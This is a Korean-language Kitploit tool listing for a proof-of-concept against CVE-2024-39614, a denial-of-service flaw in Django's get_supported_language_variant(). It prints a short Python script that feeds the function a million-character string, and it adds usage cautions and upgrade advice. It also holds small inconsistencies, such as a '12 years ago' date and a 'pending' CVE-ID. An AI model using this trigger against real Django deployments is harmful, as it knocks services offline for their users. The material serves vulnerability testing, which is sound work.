Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
-CVE-2024-39614 — CVE-2024-39614에 대한 개념 증명 익스플로잇, Django의 `get_supported_language_variant()` 함수에서 발견된 서비스 거부 취약점으로, 버전 5.0<5.0.7 및 4.2<4.2.14에 영향을 미칩니다. | Kitploit
도구/GitHubGitHub/abdurahmon3236/-cve-2024-39614
Vulnerability AnalysisExploitationWeb SecurityPenetration Testing
GitHubabdurahmon3236/-cve-2024-39614

-CVE-2024-39614

CVE-2024-39614에 대한 개념 증명 익스플로잇, Django의 `get_supported_language_variant()` 함수에서 발견된 서비스 거부 취약점으로, 버전 5.0<5.0.7 및 4.2<4.2.14에 영향을 미칩니다.

저장소 보기
12년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Django 서비스 거부 취약점 PoC (Proof of Concept)

이 저장소는 Django 5.0(5.0.7 미만) 및 4.2(4.2.14 미만) 버전의 서비스 거부(DoS) 취약점을 시연하는 PoC 스크립트를 포함합니다. 취약점은 get_supported_language_variant() 함수에 있으며, 특정 문자를 포함한 매우 긴 문자열을 처리할 때 잠재적인 DoS 공격에 취약합니다.

목차

  • 취약점 설명
  • 설정 및 사용법
    • PoC 스크립트
  • 중요 고려사항
  • 완화 방법

취약점 설명

CVE-ID: (보류 중)

개요: Django 5.0(5.0.7 미만) 및 4.2(4.2.14 미만) 버전의 get_supported_language_variant() 함수는 서비스 거부 공격에 취약합니다. 이 함수는 특정 문자를 포함한 매우 긴 문자열을 전송하여 악용될 수 있으며, 이로 인해 리소스 고갈 및 결과적으로 서비스 거부 상태가 발생할 수 있습니다.

영향받는 버전:

  • Django 5.0 5.0.7 미만
  • Django 4.2 4.2.14 미만

수정된 버전:

  • Django 5.0.7
  • Django 4.2.14

설정 및 사용법

사전 요구사항

  • Python 3.x
  • Django 설치 (pip install django)

PoC 스크립트

이 스크립트는 공격자가 get_supported_language_variant() 함수에 매우 긴 문자열을 전송하여 취약점을 악용할 수 있는 방법을 보여줍니다.

다음 스크립트를 dos_poc.py로 저장하고 실행하세요.

root@kitploit:~
import django
from django.utils.translation import get_supported_language_variant

# Check Django version
if django.VERSION < (4, 2, 14) or (5, 0) <= django.VERSION < (5, 0, 7):
    print("[-] This Django version is vulnerable to the DoS attack.")
else:
    print("[+] This Django version is not vulnerable. Please use a vulnerable version for testing.")

# Generate a very long string containing specific characters
very_long_string = 'a' * 1000000 + '!'  # Adjust the length and content as necessary

def test_dos_vulnerability():
    try:
        # Trigger the vulnerability
        get_supported_language_variant(very_long_string)
        print("[+] Successfully called get_supported_language_variant with a very long string.")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    test_dos_vulnerability()

설명

  1. Django 버전 확인: 스크립트는 먼저 설치된 Django 버전이 DoS 공격에 취약한지 확인합니다.
  2. 매우 긴 문자열 생성: 특정 문자를 포함한 매우 긴 문자열을 생성합니다. 필요에 따라 길이와 내용을 조정하여 취약점을 트리거합니다.
  3. 테스트 함수: test_dos_vulnerability() 함수는 get_supported_language_variant()를 매우 긴 문자열로 호출하여 취약점을 테스트합니다.
  4. 스크립트 실행: 실행 시, 스크립트는 취약점 악용을 시도하고 결과를 출력합니다.

중요 고려사항

  • 권한: 대상 시스템에서 이 취약점을 테스트할 명시적 허가가 있는지 확인하세요. 무단 테스트는 불법이며 비윤리적입니다.
  • 테스트 환경: 프로덕션 시스템에 영향을 미치지 않도록 통제된 환경에서 테스트를 수행하세요.
  • 리소스 소비: 이 PoC는 상당한 시스템 리소스를 소비할 수 있습니다. 시스템을 모니터링하고 필요 시 스크립트를 중단할 준비를 하세요.

완화 방법

이 취약점을 완화하려면 Django의 수정된 버전으로 업그레이드하세요:

  • Django 5.0.7
  • Django 4.2.14

공식 Django 업그레이드 지침에 따라 Django 설치를 최신 보안 버전으로 업데이트하세요.

소프트웨어를 최신 상태로 유지하고 보안 모범 사례를 따르면 Django의 이러한 DoS 문제와 같은 취약점을 예방할 수 있습니다.

도구 다운로드